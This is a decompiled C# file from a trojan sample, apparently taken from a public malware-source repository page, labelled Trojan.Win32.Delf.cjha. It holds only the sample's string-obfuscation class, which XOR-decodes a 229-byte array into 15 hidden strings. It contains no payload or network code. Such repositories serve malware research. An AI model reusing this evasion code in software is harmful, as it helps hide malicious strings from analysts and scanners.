MalwareSourceCode/MSIL/Trojan/Win32/D/Trojan.Win32.Delf.cjha-09fdf048be5ee692c4b7f67dcd746d321697af807f132f1e395c35c2bc7d244c/_0005/_0002.cs

299 lines
6.7 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Explorer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=1133f7a8419a0062
// MVID: 9EBACA4B-5CC4-4E1D-BB8B-A34A1921D651
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Delf.cjha-09fdf048be5ee692c4b7f67dcd746d321697af807f132f1e395c35c2bc7d244c.exe
using \u0005;
using System.Runtime.InteropServices;
using System.Text;
namespace \u0005
{
[StructLayout(LayoutKind.Auto, CharSet = CharSet.Auto)]
internal class \u0002
{
internal static \u0002.\u0001 \u0001;
internal static byte[] \u0001;
internal static string[] \u0001 = new string[15];
private static string \u0003([In] int obj0, [In] int obj1, [In] int obj2)
{
string str = Encoding.Default.GetString(\u0002.\u0001, obj1, obj2);
\u0002.\u0001[obj0] = str;
return str;
}
public static string \u0003() => \u0002.\u0001[0] ?? \u0002.\u0003(0, 0, 12);
public static string \u0004() => \u0002.\u0001[1] ?? \u0002.\u0003(1, 12, 13);
public static string \u0005() => \u0002.\u0001[2] ?? \u0002.\u0003(2, 25, 12);
public static string \u0006() => \u0002.\u0001[3] ?? \u0002.\u0003(3, 37, 12);
public static string \u0007() => \u0002.\u0001[4] ?? \u0002.\u0003(4, 49, 14);
public static string \u0008() => \u0002.\u0001[5] ?? \u0002.\u0003(5, 63, 18);
public static string \u000E() => \u0002.\u0001[7] ?? \u0002.\u0003(7, 110, 14);
public static string \u000F() => \u0002.\u0001[8] ?? \u0002.\u0003(8, 124, 9);
public static string \u0010() => \u0002.\u0001[9] ?? \u0002.\u0003(9, 133, 20);
public static string \u0011() => \u0002.\u0001[10] ?? \u0002.\u0003(10, 153, 14);
public static string \u0012() => \u0002.\u0001[11] ?? \u0002.\u0003(11, 167, 18);
public static string \u0013() => \u0002.\u0001[12] ?? \u0002.\u0003(12, 185, 16);
public static string \u0014() => \u0002.\u0001[13] ?? \u0002.\u0003(13, 201, 16);
public static string \u0015() => \u0002.\u0001[14] ?? \u0002.\u0003(14, 217, 12);
static \u0002()
{
\u0002.\u0001 = new byte[229]
{
(byte) 149,
(byte) 154,
(byte) 142,
(byte) 147,
(byte) 159,
(byte) 151,
(byte) 203,
(byte) 203,
(byte) 216,
(byte) 147,
(byte) 152,
(byte) 153,
(byte) 180,
(byte) 154,
(byte) 158,
(byte) 149,
(byte) 188,
(byte) 138,
(byte) 159,
(byte) 130,
(byte) 159,
(byte) 153,
(byte) 139,
(byte) 140,
(byte) 167,
(byte) 171,
(byte) 139,
(byte) 132,
(byte) 134,
(byte) 177,
(byte) 133,
(byte) 146,
(byte) 177,
(byte) 170,
(byte) 174,
(byte) 190,
(byte) 191,
(byte) 151,
(byte) 183,
(byte) 186,
(byte) 189,
(byte) 133,
(byte) 177,
(byte) 166,
(byte) 189,
(byte) 166,
(byte) 162,
(byte) 178,
(byte) 171,
(byte) 156,
(byte) 165,
(byte) 183,
(byte) 175,
(byte) 164,
(byte) 174,
(byte) 155,
(byte) 163,
(byte) 180,
(byte) 171,
(byte) 176,
(byte) 176,
(byte) 160,
(byte) 165,
(byte) 134,
(byte) 219,
(byte) 203,
(byte) 241,
(byte) 210,
(byte) 222,
(byte) 206,
(byte) 212,
(byte) 220,
(byte) 240,
(byte) 222,
(byte) 216,
(byte) 208,
(byte) 252,
(byte) 210,
(byte) 221,
(byte) 212,
(byte) 239,
(byte) 234,
(byte) 212,
(byte) 221,
(byte) 198,
(byte) 196,
(byte) 218,
(byte) 204,
(byte) 212,
(byte) 137,
(byte) 244,
(byte) 215,
(byte) 205,
(byte) 211,
(byte) 197,
(byte) 211,
(byte) 234,
(byte) 246,
(byte) 249,
(byte) 238,
(byte) 180,
(byte) 201,
(byte) 253,
(byte) 234,
(byte) 249,
(byte) 226,
(byte) 230,
(byte) 246,
(byte) 247,
(byte) 224,
(byte) 211,
(byte) 227,
(byte) 235,
(byte) 238,
(byte) 248,
(byte) 232,
(byte) 218,
(byte) 249,
(byte) 231,
(byte) 234,
(byte) 227,
(byte) 244,
(byte) 247,
(byte) 196,
(byte) 236,
(byte) 247,
(byte) 228,
(byte) 237,
(byte) 18,
(byte) 81,
(byte) 24,
(byte) 17,
(byte) 22,
(byte) 53,
(byte) 12,
(byte) 44,
(byte) 24,
(byte) 26,
(byte) 21,
(byte) 5,
(byte) 36,
(byte) 26,
(byte) 21,
(byte) 6,
(byte) 33,
(byte) 9,
(byte) 63,
(byte) 8,
(byte) 9,
(byte) 31,
(byte) 1,
(byte) 6,
(byte) 8,
(byte) 49,
(byte) 13,
(byte) 23,
(byte) 22,
(byte) 22,
(byte) 1,
(byte) 13,
(byte) 31,
(byte) 51,
(byte) 48,
(byte) 50,
(byte) 57,
(byte) 30,
(byte) 32,
(byte) 14,
(byte) 36,
(byte) 62,
(byte) 32,
(byte) 48,
(byte) 2,
(byte) 33,
(byte) 63,
(byte) 50,
(byte) 43,
(byte) 60,
(byte) 63,
(byte) 0,
(byte) 47,
(byte) 38,
(byte) 39,
(byte) 59,
(byte) 63,
(byte) 0,
(byte) 33,
(byte) 49,
(byte) 22,
(byte) 43,
(byte) 50,
(byte) 36,
(byte) 95,
(byte) 91,
(byte) 127,
(byte) 82,
(byte) 84,
(byte) 79,
(byte) 93,
(byte) 65,
(byte) 66,
(byte) 100,
(byte) 81,
(byte) 65,
(byte) 102,
(byte) 91,
(byte) 66,
(byte) 84,
(byte) 79,
(byte) 75,
(byte) 111,
(byte) 66,
(byte) 68,
(byte) 95,
(byte) 77,
(byte) 81,
(byte) 82,
(byte) 117,
(byte) 65,
(byte) 86,
(byte) 87,
(byte) 78,
(byte) 69,
(byte) 117,
(byte) 118,
(byte) 109,
(byte) 121,
(byte) 124,
(byte) 126
};
for (int index = 0; index < \u0002.\u0001.Length; ++index)
\u0002.\u0001[index] = (byte) ((int) \u0002.\u0001[index] ^ index ^ 1447847678);
}
[StructLayout(LayoutKind.Explicit, Size = 229, Pack = 1)]
private struct \u0001
{
}
}
}